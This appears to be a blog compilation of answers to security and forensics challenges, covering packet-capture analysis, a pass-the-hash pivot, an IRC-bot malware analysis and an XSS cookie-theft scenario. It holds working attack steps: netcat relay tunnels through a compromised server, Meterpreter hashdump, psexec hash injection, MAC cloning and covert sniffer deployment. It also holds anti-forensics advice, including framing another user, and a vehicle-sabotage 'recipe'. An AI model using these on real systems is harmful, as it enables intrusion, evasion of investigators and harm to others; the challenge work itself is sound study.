After validating that the MD5 sum for the downloaded file matches the one specified on the website, I first opened it up in NetworkMiner (http://networkminer.sourceforge.net/). I find the overview it gives much easier to understand than the statistics provided by Wireshark. Using it I identified the data stream between Ann’s computer and the unidentified laptop.

1. What is the name of Ann’s IM buddy?
Sec558user1 – this is tricky because the IM (which seems to be AOL – but many other IM’s behave in a similar fashion) routes chat traffic trough central servers (64.12.24.50 in this case – which belongs to AOL, making it even more probable that AIM was used) to make NAT traversal a non-issue, while file transfers are done trough direct connection to conserve bandwidth.

2. What was the first comment in the captured IM conversation?
Here’s the secret recipe… I just downloaded it from the file server. Just copy to a thumb drive and you’re good to go >:-)
(actually, > is escaped as HTML – ie >)

3. What is the name of the file Ann transferred?
recipe.docx

4. What is the magic number of the file you want to extract (first four bytes)?
50 4B 03 04 – Which corresponds to PK…, signaling that we are potentially dealing with a ZIP archive here. This is further reinforced by the filename (.docx, which is the new "open" document format from Microsoft – basically, it consists out of a zipped XML – similarly to the OpenOffice.org format)

5. What was the MD5sum of the file?
8350582774e1d4dbe1d61d64c89e0ea1

This is again tricky, because ZIP (like many other formats) admit arbitrary data after the logical end of the file. So, using a hex editor, we first carve the the part starting at PK in the 192.168.1.158 -> 192.168.1.159 (be careful not to include the traffic in the reverse direction). Then we need to convince ourselves that the end of the file has been correctly identified at the byte level. To do this we could study the ZIP specification (http://www.pkware.com/index.php?option=com_content&task=view&id=64&Itemid=107) or use a more empirical level: using a hex editor (HxD for example – http://mh-nexus.de/en/hxd/) eliminate the last byte of the file and "test" the integrity of the file (using the Test option from 7-zip for example – http://www.7-zip.org/ – but one could use almost any de-archiving program, since almost all of them offer a "Test" option). The test will fail. Now add back the last byte (which is 0x00) and perform the test again. It will succeeded. This means with a big probability that we correctly identified the actual (logical) end of the file.

6. What is the secret recipe?
The most recent version of OpenOffice.org (3.1.x) can open the docx format, so the following can be retrieved on any platform, regardless of whether MS Office 2007 is installed (an alternative solution would be to use the free MS Word 2007 viewer or the import filters available for older versions of MS Office).

The contents (sans the formatting):
Recipe for Disaster:
1 serving
Ingredients:
4 cups sugar
2 cups water
In a medium saucepan, bring the water to a boil. Add sugar. Stir gently over low heat until sugar is fully dissolved. Remove  the  saucepan from heat.  Allow to cool completely. Pour into gas tank. Repeat as necessary.

Challenge Question 1: What is the most probable reason Michael could not get network connectivity from the desk Ethernet jack?  What actions should the team take to determine exactly what is going on, collect full traffic captures, and gain full access to the network?

Most probably the switch to which the given port is connected has MAC address filtering turned on. To circumvent this, they must clone the MAC address of the VOIP phone.

The easiest way to do this is to start capturing the traffic on the network interface of the laptop and then plug the VOIP phone into it. The initial packets (most probably DHCP requests) will reveal the phone MAC address. Sidenote: most ethernet ports these days are auto-sensing (ie. no crossover cable is required). But just to make sure, one should use a crossover cable or an intermediate switch (not hub!) is one is available. After the MAC address has been determined, the host OS should be instructed to use the given MAC address for the laptop network card. You can find instructions for Linux here: http://linuxhelp.blogspot.com/2005/09/how-to-change-mac-address-of-your.html and for Windows here: http://www.irongeek.com/i.php?page=security/changemac

Sidenote: given that the packet captures show two distinct networks (192.168.1.0/24 and 172.29.0.0/16), it is clear that the administrators have tried to separate the computer networks from the VOIP one. However, relying only on different (sub-)nets is extremely weak and at least VLAN level separation should have been implemented (then again, maybe the available switches don’t have VLAN features). 172.29.0.0/16 most probably is the VOIP network, since we see SIP packets on it and 192.168.1.0/24 the computer network.

If only MAC filtering is implemented, after changing the MAC address, it is possible to join any of the two available networks, meaning that they can interact with the "computer" network, even if the given port was originally assigned to a VOIP phone.

Challenge Question 2: What tool should Lincoln download, if any, to be able to capture traffic on the desktop computer?

Sectools.org contains a nice list of available packet sniffers ( http://sectools.org/sniffers.html ). Given the constraints, my tool of choice would be WinDump, the Windows port of tcpdump ( http://www.winpcap.org/windump/install/ )

Challenge Question 3: Starting with the reverse connection from the desktop computer, describe a step-by-step approach that could be applied prior to 09:00 the next day in order to capture the network traffic on the remote network and get a capture file for further in-depth analysis. Make sure your approach follows Michael’s advice to avoid detection.

• download WinDump ( http://www.winpcap.org/windump/install/bin/windump_3_9_5/WinDump.exe ) and WinPcap to the laptop
• use the instructions provided at the following link to construct a portable version of WinPcap: http://paperlined.org/apps/wireshark/winpcap_silent_install.html
• you can package up all the files (WinDump and the WinPcap DLLs + driver) into a single file using the SFX functionality from 7zip. To make sure that you don’t get under the 0.5 meg limit, use Zip with the Store algorithm
• upload the resulting file to the general’s desktop (this part of the challenge is a little forced IMHO, since the IDS should have detected the reverse connection if it is sensible to long-lived, low traffic connections…)
• launch the SFX, wait until all the files are extracted and copy npf.sys into c:WindowsSystem32drivers
• before 9:00 AM (at 8:55 for example) launch WinDump (this will capture at most 5 MB of data):

  WinDump -i 1 -w capture.pcap -C 5

• after WinDump has stopped, retrieve the capture file and clean up (delete the driver, the SFX file, etc)

Challenge Question 4: Help the team complete this aspect of their mission by analyzing the packet capture file collected on the desktop computer and provide detailed information about the environment. Your response should at least include the type of network traffic collected, details about the General’s laptop computer, details about the Scylla Codes server plus any other server available, and provide the names and contents of the files stored on the server the input passphrase is based on.

The collected traffic consists of 6 requests made to the Scylla server (10.10.20.94) using HTTPS. To decode them, first convert the provided key file into PEM format with OpenSSL:

openssl rsa -in server.key -out server_key.pem 

Then use the resulting PEM file as described here for example to let Wireshark decode the traffic: http://www.novell.com/coolsolutions/appnote/19321.html

Now you can use the "Follow SSL stream" functionality from Wireshark to analyze each request. From the headers it seems that the general’s laptop is running Windows Vista Media Center (tablet? edition), while the Scylla server is running Linux/Apache:

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506) 
Server: Apache/2.2.8 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.8g DAV/2 PHP/5.2.9 

Challenge Question 5: What are the validation code and input passphrase used by the General to generate the Scylla validation code for this week?

The validation code is "6189db841f01413a05a53b7135137a17"

BONUS QUESTION: Briefly describe your recommendations about how The Company could have detected and defended against the tactics you described in your answer to Question 3.

The attack could have been prevented by using a whitelisting product which doesn’t let unknown executables be started. Other mitigating measures would be:

• using Group Policy to disable autorun
• using Group Policy to controls what kind of USB devices can be used: http://www.windowsecurity.com/articles/Control-USB-Devices-Group-Policy.html
• using a switched network
• using an outbound proxy and make sure that only valid HTTP/HTTPS traffic can leave the network

One could work around many of these restrictions (for example: finding a vulnerability in an installed software, running meterpreter in-process, killing the whitelisting software, masking the outbound connection as a HTTP one, using ARP spoofing to get around the switched network, etc), but it raises the bar considerably.

And here is a challenge I almost forgot about (since this too is very network oriented and I currently don’t have the time to dig up all the information needed): NMAP Trivia: Mastering Network Mapping and Scanning. If you want to take part in it, hurry up, since the deadline is the 15th of January.

The basic idea came from me seeing tutorials to tunnel SMB over SSH, the difference being that the tunneling had to be done trough two hosts, with netcat and some trickery. I also written about particular steps in detail on the blog previously:

• A few tips for pshtoolkit
• Ranting about Metasploit…
• Short tip

Without further ado, here is my submission:

1) What tool would you have the Winter Warlock download? Why?

The PSH toolkit from: http://oss.coresecurity.com/projects/pshtoolkit.htm to be able to use the password hash for authentication, rather than cracking it (which would take a very looong time, especially because the simpler LANMAN hashes are disabled due to the password length).

2) Devise a step-by-step approach for gaining control of the door1
server so that Kris can execute the dooropen.exe command with the
privileges of the jailmaster account. Describe each tool you would use
and how you would use it at each step of your hack.

The basic plan is the following:

1. dump the password hashes from “jailmasterlaptop”
2. use “web1” to create a tunnel for a SMB connection to “door1”
3. use psexec + pshtoolkit to authenticate and run the executable

Now for the gory details:

– after compromising the “jailmasterlaptop”, hopefully we have access to the meterpreter. There type:

use priv
hashdump

(the first command might not be necessary, but it doesn’t do any harm).
Note the hashes for the Jail Master account.

– get a netcat onto web1, if there isn’t one already (many *NIX systems come with it preinstalled). For example you could do something like this with the command execution vulnerability:

on the laptop:

encode the netcat with base64: base64 -w0 /bin/nc

execute the following commands on “web1”:

echo "The base64 encoded string"|base64 -d > /tmp/fb
chmod +x /tmp/fb

If we use the uploaded netcat, change all references in the following text from nc to /tmp/fb

– now we are ready to create the tunnel. Since we have the restriction of only being able to create outgoing connections from “web1”, we do the following:

on the laptop (as root):

while true; do nc -l -p 80 -c "nc -l -p 139"; done

on “web1” (trough the command execution vulnerability):

while true; do nc door1 139 -c "nc laptop 80"; done

The while loop is there to give use some leeway if we don’t manage to connect in the first try or we get disconnected for some reason.

– being connected, we now need the Pass The hash toolkit download at step 1. There is a slight problem here: on the laptop we might have a version of XP which isn’t supported by iam.exe and iam-alt.exe has a little bug (http://hexale.blogspot.com/2008/10/bug-in-iam-alt-makes-it-fail-completely.html). We have two options: fix the bug in the source as the blog post describes and hope that we have a compiler to recompile the source, or patch the binary, by searching for 00x (inverted because of the little endianess of Intel CPU’s) in it with a hex editor (mcedit will do) and patch it with x00x00x00 (three time the zero byte)

The toolkit executables need to run from the SYSTEM account, so launch a shell with psexec that has SYSTEM account privileges:

psexec \laptop -s c:windowssystem32cmd.exe

Now inject the hash:

iam-alt.exe -h jailmaster:door1:thehashes:recoveredfromjailmasterlaptop

– Finally use psexec to spawn a shell to door1 (proxied trough the laptop and web1):

psexec \laptop -u DOOR1jailmaster c:windowssystem32cmd.exe

Now that we (hopefully) have a shell on door1, search for the executable:

cd 
dir /s|find "dooropen"

3) Briefly finish this tale by describing how the Burgermeisters
could detect the tactics you described in your answer to item 2, as
well as how they could have defended against each step you described.

The week link in the chain was the “web1” machine. They should have:

• make sure that the web application doesn’t have known vulneraibilities
• use something like mod_security to look for suspicious access patterns
• use something like SELinux to disallow stuff like executables being run from /tmp
• disallow all outgoing connections from the server

Patching jailmasterlaptop would also have helped

Finally, a login restriction could have been placed on the jailmaster account on “door1”, such that the account could not be used during non-working hours.

Very cool. Also, it shows how many equipments will break after the 18th of January, 2038

Can you figure out who killed Dr. Wilson, and why? I would say it was Dr. Miller. In the partial disk image there was a e-mail saying:

“I know how you’ve been obtaining our passwords to steal the exams
provide them to the students. You’ll see I have the proof in the
attachment. I expect you to resign your position and leave the
University at the end of the semester or I will be forced to
disclose this information and fire you.
Dr. Wilson”

The attachment contained a photo of Dr. Miller’s office. In the photo one can see a box of – what I assume is – wireless camera. As the answer to question 2 explains, this was used to steal the exams and Dr. Miller feared for his reputation / position.

How were the passwords stolen to steal the exams? My theory is that using a wireless camera they were either read directly from the monitor, or the camera was used to capture the password as they were typed in.

Can you provide a copy of the cryptography final exam? Can you create an answer key? Foremost extract it from the partial drive image (together the Rick Astley video ;-)). On a sidenote, the email was not extracted by foremost (probably because the headers were badly damaged – for example the headers were entirely gone) and had to be extracted manually and the attachment decoded (for example by using the online Base64 decoder at: http://www.motobit.com/util/base64-decoder-encoder.asp).

The answers are:

The first question (a “shift” cypher with 16 places of shift)

a long time ago, in a galaxy far, far away it is a period of civil war. rebel spaceships, striking from a hidden base, have won their first victory against the evil galactic empire. during the battle, rebel spies managed to steal secret plans to the empire’s ultimate weapon, the death star, an armored space station with enough power to destroy an entire planet. pursued by the empire’s sinister agents, princess leia races home aboard her starship, custodian of the stolen plans that can save her people and restore freedom to the galaxy

The second one I didn’t manage to figure out.

The third one was coded using the Enigma algorithm. Given the specified settings one can use the many available simulators (for example the one at http://enigmaco.de/enigma/enigma.html) and get the decoded result: SOMEBODY SETUP US THE BOMB.

Also, provide some analysis of Velma’s incident handling
process. What did she do right? What should she have done differently?The most important problem is that – because of her not using a writeblocker – it will be hard to prove that the contents of the drive were not changed. Also here actions might have eradicated phisical evidence (fingerprints for example). What she did right was the fact that she imaged the drive and worked on the image, rather than working with the drive.

Describe your malware
lab.

• A virtual
  machine (VirtualBox[1])
  with WindowsXP installed.
• OllyDbg[2]
• IDA 4.9
  Freeware[3]
• PEiD[4]
• HxD[5]
• LordPE[6]
• ImpRec[7]

What
information can you gather about the malware without executing it?

• First I
  examined it in a hex editor (HxD), which hinted at the fact that the
  executable is packed (there were two kind of hints – the first one visual
  – just scrolling through the PE sections – the second one based on the
  histogram of the file – the number of times each byte value occurs). As
  you can see above, the number of zero bytes is much lower compared to an
  non-packed file, and also the distribution of the values is much more
  homogeneous.

• Given that
  we determined with a high probability that this executable is packed, the
  second question was “what packer was used?” To determine this, several
  methods were used:
• A brief
  inspection with the hex editor. This suggested that a modified version of
  UPX was used. The hints were:
• The
  section names. These are usually named UPX0, UPX1 and UPX2 in case of an
  UPX packed executable. In the malware there was a similar file patter,
  only that UPX was replaced for ABC
• UPX also
  includes the version used to pack the file in the form of “[major
  version].[minor version] UPX!” at the beginning of the first section.
  This too was modified with the same method, and the file reads: 3.03
  ABC!
• Using
  PEiD. While using the standard settings it doesn’t detect anything,
  setting the “Deep scan” option (which scans for the signatures in the
  entire section where the entry point is located, not just at the entry
  point) it correctly identified the packer as UPX
• Using
  IDA, we can see other signs that UPX was used:
• The
  distribution of the sections: a section containing no data, followed by
  a large section which contains the entry point followed by a small
  section containing the imports
• The
  specific imports for a packed executable (LoadLibraryA, GetProcAddres,
  VirtualAlloc, VirtualProtect, etc)
• The code
  at the entry point
• Given that
  the malware is packed using a non-standard tool, static unpacking would be
  fairly complicated

Unpacking the
executable

To gain further intelligence, an unpacked version of the
executable is needed. Because the modifications to UPX are only superficial,
the method described on reconstructer.org[1]
can be used. At this point we can analyze the dumped binary in IDA (pretty
straight forward, since the original executable was compiled using Visual C –
but still time-consuming) or try to search for the source code. See the second
before last question about retrieving the source code.

Is the malware
packed? If so, how did you determine what it was?

See the previous point.

Describe the
malware’s behavior. What files does it drop? What registry keys does it create
and/or modify? What network connections does it create? How does it auto-start,
etc?

This can be determined either by static analysis or by
running the malware and observing its actions with something like System Safety
Monitor[1],
Process Monitor[2] or the
All Seeing Eye[3]. However
this has the drawback that there is no guarantee for the fact that every
possible aspect of the malware will be manifested. Added with the fact that we
have the source of the malware and it is written in plain C (without
obfuscation), a static analysis is recommended (using IDA for example). The
actions performed by the malware are:

• If it isn’t
  started from there, it copies itself to %WINDIR%Winsec32.exe. Then it
  sets the read only, hidden and system attributes on the file.
• It also
  sets the file time to the time of explorer.exe, to avoid standing out from
  other files when sorted by creation date
• Finally it
  starts the copy and terminates
• It
  registers itself for autostart in the following registry locations using
  the name “Microsoft Svchost local services”:
• HKLMSoftwareMicrosoftWindowsCurrentVersionRun
• HKLMSoftwareMicrosoftWindowsCurrentVersionRunServices
• HKCUSoftwareMicrosoftOLE
• Now it
  enters in a loop waiting for the internet connection to become available.
  When it becomes available, it tries to connect to the C&C server and
  listen for commands

The malware also uses (used) a secondary server
(http://www.Nivdav.net/Winsec32.exe) to host probably a copy of itself (it is
hard to tell, since the domain registration was deleted). This is used for the
VNC “exploit”. Basically, if it is instructed to scan for VNC servers listening
on the standard port (5900) and finds one without a password set, it tries to
send it a set of commands which would result in downloading and executing the
specified file.

What type of command
and control server does the malware use? Describe the server and interface this
malware uses as well as the domains and URLs accessed by the malware.

The malware tries to connect to an IRC server with the DNS
name “testirc1.sh1xy2bg.NET”.
However, according to domaintools[1], this
domain name was never registered, which leads me to speculate that the sample
was tampered with, or that the perpetrator planned to register it later. The
connection is made on the standard IRC port (6667), which makes it very
probable that it will get blocked (for example in corporate environments) and
also it is easily recognizable.

What commands are
present within the malware and what do they do? If possible, take control of
the malware and run some of these commands, documenting how you did it.

The malware has a wide variety of commands. Here is a list
of them, with a short explanation for each:

• ftp.upload
  – uploads a file from the victim’s computer to an ftp server specified by
  the controller. The uploading is done using the standard “ftp.exe” present
  in Windows, and a script written out to a file named “.dll”. This file will contain a script similar to:
  open ftp.example.com
  user foo
  pass bar
  put
  bye
• util.hcon
  or httpcon – connects to a specified host using the HTTP protocol. Most
  probably used for layer 7 DDoS
• pingflood
  or ddos.pingf – starts a pingflood against a given host. Controller can
  determine the packet size and delay between the packets.
• ddos.udpf
  or udpflood – starts an UDP flood against a given host. Controller can
  determine the destination port, packet size and delay between the packets.
• asc or
  advscan – start scanning a given range of IP address for a given port.
  After finding an open port, it can send exploit code it
• cid /
  currentip – returns the current IP for the portscan thread (which IP is it
  currently scanning)
• clone.make
  / clone.start – connects to an IRC channel with the intent of “cloning”
  (repeating) things said by the botherder
• clone.j /
  clone.join – joins a given channel on the “cloned” connection
• clone.p /
  clone.part – parts a given channel on the “cloned” connection
• clone.ni /
  clone.nick – sets the nick on the “cloned” connection
• clone.ra /
  clone.raw – repeats the “raw” message on the “cloned” connection. This
  means that no prefix (such as PRIVMSG) is added
• clone.ac or
  clone.action / clone.pm or clone.privmsg – the bot can be connected to
  other IRC servers (acting as a proxy) an repeat the commands passed to it
  on the connected servers
• daemon.rd
  or redirect – creates a TCP tunnel on the given interface/port towards the
  given address/port (similar to rinetd[2])
• dl or
  download – downoads a given file using the HTTP protocol. Optionally the
  downloaded file can be “encrypted” using the “prefix” set by the “irc.pr”
  or “prefix” command and can be checked to have a particular CRC32. After
  the file is downloaded, it is executed. Optionally, it can be marked as an
  “update”, in which case the original process is killed after the
  downloaded file is executed
• synflood /
  ddos.ack / ddos.random – does a DDoS against a specified IP/Port.
• rename /
  com.mv – renames a given local file to an other local name
• execute /
  com.e – executes a local file. By default the windows of the new program
  are hidden.
• delay /
  irc.de – sleeps given number of seconds (possibly to avoid triggering the
  flood detection of IRC servers)
• irc.m /
  mode – changes its mode on the C&C channel
• irc.cy /
  cycle – leaves the C&C channel, waits the specified number of seconds
  then rejoins it
• irc.pm /
  privmsg – sends a private message on the C&C connection
• share –
  lists the available samba shares on the computer
• user – adds
  / removes / displays info about a local user
• pause /
  stop / start – pauses / stops / starts services
• keylog.on /
  cmd.kl.on – starts a keylogger
• readfile /
  com.rf – reads a local file and echoes it back to the bot-herder
• list /
  com.fl – lists the contents of a local directory
• delete / del – deletes a
  local file
• prockillid
  / pkid – kills a process with the given ID
• killprocess
  / kpc – kills a process with the given executable name
• dns /
  irc.dn – resolves a given DNS name and returns the IP
• open /
  cmd.o – does a ShellExecute[3]
  (with the operation parameter set to “open”) on the specified local file.
  The windows of the application will be visible (as opposed to execute /
  com.e)
• prefix /
  irc.pr – sets the “prefix” (a string used to decrypt downloaded files)
• killt /
  killthreads – kills threads associated with the bot
• d.ftpd.on /
  ftpd.on – starts an FTP server on the specified port
• web.on /
  httpd.on – starts a web server on the specified port. If a directory is
  not specified, the system directory will be used as “wwwroot”
• util.fdns /
  flushdns – flushes the local DNS cache
• farp /
  flusharp – flushes the local ARP cache
• com.gc /
  getclip – echoes back the contents of the local clipboard
• opencmd /
  cmd1 – opens a command line session (“telnet”)
• closecmd –
  stops the remote shell
• testdlls /
  com.dll – lists the DLLs which the bot failed to load
• driveinfo /
  com.drv – displays the free space for available on the specified drive
  (different the A – probably to avoid raising suspicion by querying an
  empty floppy drive)
• uptime /
  com.up – displays the time elapsed since the bot has started
• proc.on /
  com.ps – lists the processes running on the system and the DLLs each has
  loaded
• rm / remove
  – a very interesting command, since it actually removes the file from the
  system and deletes the associated registry entries!
• syinfo /
  sys – displays system info about the infected system
• ni /
  netinfo – displays network info (IP Address, connection type, and host
  name) about the infected system
• clg /
  clearlog – clears the internal log
• threads.l /
  threads – lists the threads running associated with the bot
• reboot –
  reboots the system
• secure /
  sec – an other interesting command. When issued, the bot tries to “lock
  down” the system to (supposedly) prevent exploitation by others. Settings
  it changes:
• disables
  DCOM
• restricts
  anonymous logins
• deletes
  administrative shares like IPC$, ADMIN$, … (but interestingly it only
  deletes C$ and D$ – if the system has more drives, the administrative
  shares for those won’t be deleted)
• lockdown.off
  / ld.off – the reverse of secure
• chghttp –
  changes the http address used in VNC exploitation
• die /
  irc.di – dies (exists)
• mirc.cmd –
  an other interesting command – sends a command to the active mIRC instance
  if it can find one

Theoretically speaking letting a bot connect through an
unfiltered internet access is not recommended, because it might receive
commands from the C&C which could result in damage being done to other
computers (for example it is instructed to scan and exploit other machines and
it does so). Also (theoretically speaking) taking over a botnet C&C and
issuing commands to them is not recommended (even commands which would result
in the malware being removed), because (legally speaking) you are still
accessing systems which you are not authorized to do. Both of these issues are
only of theoretical interest, since (as mentioned at the previous question),
the domain the bot is trying to connect to isn’t registered. To do a local
test, take the following steps (credit goes to my colleague CPS for coming up
with this solution):

• Install an
  IRC server locally. A free one for windows is JoinMe[4].
  Other options are available[5].
  Because the bot uses the standard IRC port (6667), no custom settings are
  necessary.
• Modify your
  hosts file (C:WindowsSystem32DriversEtchosts), by adding the
  following two lines:
  127.0.0.1       testirc1.sh1xy2bg.NET
  127.0.0.2       legalize.it
  The first line is used to redirect the malware to the local server when it
  tries to connect. The second one is needed because when logging in, the
  malware checks that the user is coming from an IP range which resolves
  back to “legalize.it”. The
  different address is needed to make sure that the TCP stack is resolves
  the reverse lookup correctly.
• Install an
  IRC client (a free one for example is Hirc[6])
  and connect to localhost and join the channel “#chalenge” (yes, the typo
  is intentional). From the bot it seems that this channel should have had
  the password “happy12”, but it is no problem that our simulation doesn’t
  have it, because the bot only supplies the password if asked.
• Start the
  bot. Make sure that internet access is available until the bot connects to
  the channel (this is needed because it waits in a loop if no internet
  connection is available). Once connected, the connection should be removed
  for security reasons.
• The bot
  uses a username like: [] (for example: USA[XP]6913090).
  To log in, send it the following private message (l is short for login):
  .l gemp123
  It should respond with the message (which means that the login was
  successful, and also that the author of the bot had less than full control
  of the intricacies of the English language):
  [REALMBOT] : Thank for trying.
• To send
  other commands, just prefix the command with “.”
• To
  successfully convince a bot that we are its master, we need to be the
  first who issues the login command, or we need to issue the login

How would you
classify this malware? Why?

It is a “classic” general purpose IRC bot/backdoor. It
connects back to a central IRC server and waits there for command from its
“master”, offering non-authorized (“backdoor”) access to the infected machine.

What do you think the
purpose of this malware is?

It is a general purpose “bot”, meant to offer backdoor
access to the person controlling it to a large number of infected machines. It
contains no specific functionality (like stealing passwords for WoW[1]),
rather it offers a series of generic methods (like spawning a reverse command
shell) which can be used to implement any malicious behavior.

It also has a lot of functionality related to IRC (proxying
traffic, flooding channels, etc). This is indicative of its origins (bots were
used to have mini-wars on IRC – flooding channels, etc).

Is it possible to
find the malware’s source code? If so, how did you do it?

Looking through the strings which can be found in the
unpacked executable, it seems that this malware was named “RealmBot”. Searching
for the string “realmbot source code” with Google results finds the following
discussion on the site “blackhat-forums.com”:
http://www.blackhat-forums.com/index.php?showtopic=6032. Here we have two links
to rapidshare. After downloading and unpacking the archive, we find a directory
named “Crx-realmbot.VNC+RFI” (amongst others). To validate that this is indeed
the source we are looking for, I’ve used the following perl script:

use strict;

use warnings;

use File::Find;

print “Loading
files…n”;

our $complete_file =
”;

find(sub {

     return unless -f $_;

     return unless /.(?:h|c|cpp)$/i;

    

     print “$_n”;

     open my $f, ‘<‘, $_;

     $complete_file .= “n” . join(”,
<$f>);

     close $f;

}, ‘Crx-realmbot VNC
exploit and RFI -(rfi not tested)’);

while (my $line =
<>) {

     chomp $line;

     if ($complete_file =~ /bQ$lineEb/) {

          print “x $linen”;

     }

     else {

          print ”  $linen”;

     }

}

Like this: strings
dumped_.ex$|perl check.pl > out

What this does is to load all the source files, and then
check for the existence of the strings which it gets from the input in the
source file. The strings presented on the input are strings extracted from the
dumped (unpacked) executable. This test, although it didn’t give a 100% match
rate for various reasons (strings need to be escaped in C source code – “” is
written as “\” – some strings are created at runtime, etc), the match rate was
high enough for me to affirm that this is indeed the source code for the
malware.

What information can
be gleaned from the source code?

• It seems
  that an effort was made to make the malware configurable. Besides the
  normal settings (IRC server address / port / channel / etc), users can
  configure the functionality which to exclude with defines (like NO_CRYPT,
  NO_VNC, etc)
• The
  original bot included the code to exploit a RFI (remote file inclusion)
  vulnerability against a forum software written in PHP[2]
  (Quicksilver Forum), however this wasn’t included in this compilation of
  the malware
• The source
  code included the option to run the “secure system” command in a loop (but
  this isn’t included in this version)
• The
  original author (if you can call it that – given that the source is a
  copy-paste job) seems to be related to the site http://w32-gen.us. Some
  chatlogs[3]
  seem give further leads, however, without further investigation, it is
  unclear what the relation between the different actors are

How would you write a
custom detection and removal tool to determine if the malware is present on the
system and remove it?

On the most basic level, the following batch file can remove
it:

taskkill /IM
Winsec32.exe /F

reg DELETE
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v “Microsoft Svchost
local services”

reg DELETE
HKLMSoftwareMicrosoftWindowsCurrentVersionRunServices /v “Microsoft
Svchost local services”

reg DELETE
HKCUSoftwareMicrosoftOLE /v “Microsoft Svchost local services”

However, given the large number of commands available to the
bot-herder, it is quite possible that other modifications have been made to the
system, which can not be deduced from looking at the source code. If the system
is critical, a full reinstall is recommended. Also, the possibility must be
taken into consideration that other systems accessible from the given computer
might be compromised (if we are talking about a system behind a firewall with
other computers connected to the local network for example).

---

[1]               World of Warcraft

[2]              
http://www.securityfocus.com/bid/19991

[3]              
http://gogloom.com/LCIRC/w32-Gen/

---

[1]              
http://whois.domaintools.com/sh1xy2bg.net

[2]              
http://hype-free.blogspot.com/2008/04/port-redirection-under-windows.html

[3]              
http://msdn.microsoft.com/en-us/library/bb762153(VS.85).aspx

[4]              
http://www.softpedia.com/get/Internet/Servers/Other-Servers/JoinMe.shtml

[5]              
http://www.computerquestionhelp.com/blogs/other/guides/setup-your-own-irc-server.html

[6]               http://www.xs4all.nl/~hneel/software.htm

---

[1]               http://www.syssafety.com/

[2]              
http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx

[3]              
http://www.fortego.com/en/ase.html

---

[1]              
http://www.reconstructer.org/papers.html – 13.12.2006 – Manual unpacking and
Auto-IAT fixing UPX and Aspack

---

[1]               http://www.virtualbox.org/

[2]               http://www.ollydbg.de/

[3]              
http://www.hex-rays.com/idapro/idadownfreeware.htm

[4]               http://peid.has.it/

[5]               http://mh-nexus.de/en/hxd/

[6]              
http://www.woodmann.net/collaborative/tools/index.php/LordPE

[7]              
http://www.woodmann.com/collaborative/tools/index.php/ImpREC

The Hitch-Hacker’s Guide to the Galaxy

• How did Zay Zeutrino gather the desired data to switch users to the Vogon matter transference officer’s user account?

  When matter transfer officer viewed the spoofed message (which wasn’t filtered in a proper way by the Vogon system to eliminate such threats), the script part included in the message wrote an image tag in the browser the URI of which contained all the cookies for the current page. This link was automatically followed by the browser trying to display the image. For this to work as expected, the following conditions have to been met:

  the user interface to read e-mails have to been the same as the one used to control the matter transference system (more precisely the cookies have to been set such a way that there were common for both parts of the system – they have to been on the same domain and the path of the cookie have to be set up in such a way that it was a common prefix for the URLs of both systems).

  authentication data has to been contained in the cookies. This can either be username in password (don’t laugh, I’ve seen this used in real life ) in plaintext or in some naivly encrypted format (like rot13 or base64 – which isn’t an encryption but some may use this way) or a session identifier.

  the session management was set up in such a way that the session wasn’t tied to a given IP

• How did Zeutrino switch users?

  He inserted the stolen cookies (or at least the ones which identified the session) in his browser (I bet that he was using Firefox 2.0 with the Add N Edit cookie extension – https://addons.mozilla.org/firefox/573/) and thus when he made the requests to the server it believed that this transaction was part of the session which was established when the matter transference officer authenticated himself.

• What might Pal Homeran have seen in his logs?

  He might have seen several things:

  From the access logs (which are turned on by default) he might have seen an access to the matter transference management system from an IP which was outside the expected IP range

  Also from the access logs he might have seen that someone accessed the system with a different user agent than the standard one (if the Vogons were using IE 5.5 because that was the “company standard” and Zeutrino did not know this or did not spoof his user agent with the User Agent Switcher https://addons.mozilla.org/firefox/59/)

  A third possibility would be that there was a separate log (an audit trail) in the system which logged the actions taken from the interface. This is however unlikely given the poor state of the security. If such a log existed, Pal could have observed a transfer for which there was no paperwork or again which came from an unusual IP range (if such a thing was logged)

• What should Zeutrino do next?

  He should delete the cookies, remove Firefox and wipe his hard drive. This is of course not a 100% solution because might be remnants of a Firefox installation in many places: in the registry (the registry has its own “filesystem” which in turn contains “slack space” which can’t be wiped by a disk eraser utility), in the prefetch directory, in the hibernation file and so on. His best bet is if he used a Firefox from inside a virtual machine, because he can just wipe the space occupied by the virtual disk and you have all the traces erased.

  If he has a dynamic IP address, he should renew his IP address, because hopefully he gets a new one (on Windows this would be ipconfig /release, ipconfig /renew from the command line). To make things ever more hidden, he could change his MAC address by either physically swapping out the NIC (if it isn’t on-board) or from software forcing an other MAC. This way it’s more probable that he will get a new IP address from the DHCP server. The MAC address change should be performed while no IP is assigned. That is: ipconfig /relese, , ipconfig /renew. This way it would look like that the original terminal went off-line and a new one came online from the logs. If no MAC spoofing is performed from the logs of the DHCP server (if such a thing exists) Pal could find identify the computer even if it had a different IP address (based on the MAC address). The physical changing of the MAC address is really recommended because if it’s only spoofed in software it could raise suspicion if the system would to be examined closer and this fact would be discovered.

  If his IP is static, he should try to assign himself either an unoccupied IP from the given subnet, or if he wants to incriminate someone, swap the IP of his terminal with the one of somebody else’s terminal.

• What should Pal Homeran do next?

  Based on the log he probably has the IP address of Zeutrinos computer. If Zeutrino isn’t quick in performing the above mentioned changes, he can track down Zeutrinos computer directly. If Zeutrino did implement the countermeasures he could at least narrow down the search to the segment which is served by the DHCP from which the IP originated. Then he could either inspect each computer manually or if Zeutrino didn’t change his MAC address, just his IP address, he could look in the DHCP log for the following type of entries:

  <Offending IP> was leased to MAC address <X>
  <Offending IP> released the lease
  <New IP> was leased to MAC address <X>
  

  and identify the IP he should be looking for.

  Assuming that all IP addresses are statically assigned, he can narrow it down to one subnet (assuming there is are no NATs or proxys in the internal network of the ship – which is probably the case). In this case Zeutrinos defense options are limited if he didn’t use a fake IP or a proxy during the attack, because the IP will directly lead Pal to his computer.

